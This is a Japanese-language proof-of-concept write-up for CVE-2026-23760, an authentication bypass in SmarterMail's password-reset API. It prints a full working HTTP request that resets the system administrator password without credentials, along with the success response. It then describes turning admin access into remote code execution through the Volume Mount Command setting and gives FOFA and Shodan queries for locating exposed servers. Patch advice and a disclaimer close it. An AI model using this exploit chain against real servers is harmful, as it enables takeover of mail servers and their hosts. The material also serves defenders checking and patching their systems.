
CVE-2026-23760 - SmarterMail のパスワードリセットAPIを介した認証バイパス
SmarterMailシステム管理者アカウントのパスワードリセットAPIを介した認証バイパスを悪用する概念実証(PoC)です。
この脆弱性は、パスワードリセットAPIにおける認証バイパスに起因します。force-reset-passwordエンドポイントは匿名リクエストを許可し、システム管理者アカウントをリセットする際に既存のパスワードやリセットトークンを検証しません。
PoCは以下のようにシンプルです:
POST /api/v1/auth/force-reset-password HTTP/1.1
Host: xxxxxxx:9998
Content-Type: application/json
Content-Length: 145
{"IsSysAdmin":"true",
"OldPassword":"watever",
"Username":"admin",
"NewPassword":"NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"}
パスワードが正常に変更されたことを確認する、以下のようなレスポンスが返されます:
{
"username":"",
"errorCode":"",
"errorData":"",
"debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\ncheck6.2\\r\\ncheck7.2\\r\\ncheck8.2\\r\\n",
"success":true,
"resultCode":200
}
残る唯一の要件は、管理者アカウントのユーザー名を知っていることです。
システム管理者として認証されると、攻撃者は以下を実行できます:
Settings -> Volume Mountsに移動する。Volume Mount Commandフィールドに任意のコマンドを指定する。そのコマンドは基盤となるオペレーティングシステムによって実行されます。この時点で、攻撃者はホスト上で完全なリモートコード実行を達成しています。
設定が保存されると、指定されたコマンドが即座に実行されます。
Nucleiテンプレート:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-23760.yaml
FOFA:
title='SmarterMail'
SHODAN:
html:'SmarterMail'
認証されていないリモート攻撃者は、システム管理者アカウントの認証をバイパスしてアクセスを取得できます。認証後、ホスト上で完全なリモートコード実行を達成できます。
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - 9.3:Critical
最新バージョンに更新してください:https://www.smartertools.com/smartermail/downloads
このツールは、許可されたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法です。